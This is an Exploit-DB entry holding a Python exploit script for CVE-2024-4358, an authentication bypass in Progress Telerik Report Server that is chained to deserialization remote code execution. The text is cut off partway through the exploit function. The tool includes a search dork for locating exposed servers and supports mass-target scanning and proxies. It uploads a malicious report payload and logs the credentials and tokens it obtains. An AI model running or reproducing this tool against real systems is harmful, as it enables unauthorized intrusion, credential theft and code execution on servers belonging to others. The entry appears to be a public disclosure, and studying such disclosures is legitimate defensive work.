Exploit-DB #52103
Description: Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass
Type: webapps
Platform: multiple
Date: 2025-03-28
Author: VeryLazyTech

Exploit:
# Exploit Title: Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass
# Fofa Dork: title="Telerik Report Server"
# Date: 2024-09-22
# Exploit Author: VeryLazyTech
# GitHub: https://github.com/verylazytech/CVE-2024-4358
# Vendor Homepage: https://www.telerik.com/report-server
# Software Link: https://www.telerik.com/report-server
# Version: 2024 Q1 (10.0.24.305) and earlier
# Tested on: Windows Server 2019
# CVE: CVE-2024-4358


import aiohttp
import asyncio
from alive_progress import alive_bar
from colorama import Fore, Style
import os
import aiofiles
import time 
import random
import argparse
from fake_useragent import UserAgent
import uvloop
import string
import zipfile
import base64

green = Fore.GREEN
magenta = Fore.MAGENTA
cyan = Fore.CYAN
mixed = Fore.RED + Fore.BLUE
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
white = Fore.WHITE
reset = Style.RESET_ALL
bold = Style.BRIGHT
colors = [ green, cyan, blue]
random_color = random.choice(colors)


def banner():
    
    banner = f"""{bold}{random_color}
  ______     _______   ____   ___ ____  _  _         _  _  _________   ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || ||___ / ___| ( _ ) 
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || |_ |_ \___ \ / _ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |__) | (_) |
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____/____/ \___/ 
                                                                            
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/     
                 
                    {bold}{white}@VeryLazyTech - Medium {reset}\n"""
                    
    return banner

print(banner())

parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation  tool for CVE-2024-4358" , usage=argparse.SUPPRESS)
parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or IP wtih port for vulnerability detection")
parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs or IPs for vulnerability detection")
parser.add_argument("-c", "--command", type=str, default="id", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a shell command to execute it")
parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs")
parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy")
parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console")
parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]")
args=parser.parse_args()


async def report(result):
    try:
            if args.output:
                if os.path.isfile(args.output):
                    filename = args.output
                elif os.path.isdir(args.output):
                    filename = os.path.join(args.output, f"results.txt")
                else:
                    filename = args.output
            else:
                    filename = "results.txt"
            async with aiofiles.open(filename, "a") as w:
                    await w.write(result + '\n')

    except KeyboardInterrupt as e:        
        quit()
    except asyncio.CancelledError as e:
        SystemExit
    except Exception as e:
        pass  
    
async def randomizer():
    try:
        strings = string.ascii_letters
        return ''.join(random.choices(strings, k=30))
    
    except Exception as e:
        print(f"Exception in randomizer :{e}, {type(e)}")
    
async def exploit(payload,url, authToken, session, user, psw):
    try:
        
        randomReport = await randomizer()
        headers = {"Authorization" : f"Bearer {authToken}"}
        body1 = {"reportName":randomReport,
                "categoryName":"Samples",
                "description":None,
                "reportContent":payload,
                "extension":".trdp"
            }
        proxy = args.proxy if args.proxy else None
        async with session.post( f"{url}/api/reportserver/report", ssl=False, timeout=30, proxy=proxy, json=body1, headers=headers) as response1:
            if response1.status !=200:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed{reset}")
                
                await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed\n----------------------------------")
                return 
                 
         
        async with session.post( f"{url}/api/reports/clients", json={"timeStamp":None}, ssl=False, timeout=30) as response2:
            if response2.status == 200:
                responsed2 = await response2.json()
                id = responsed2['clientId']
            else:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed{reset}")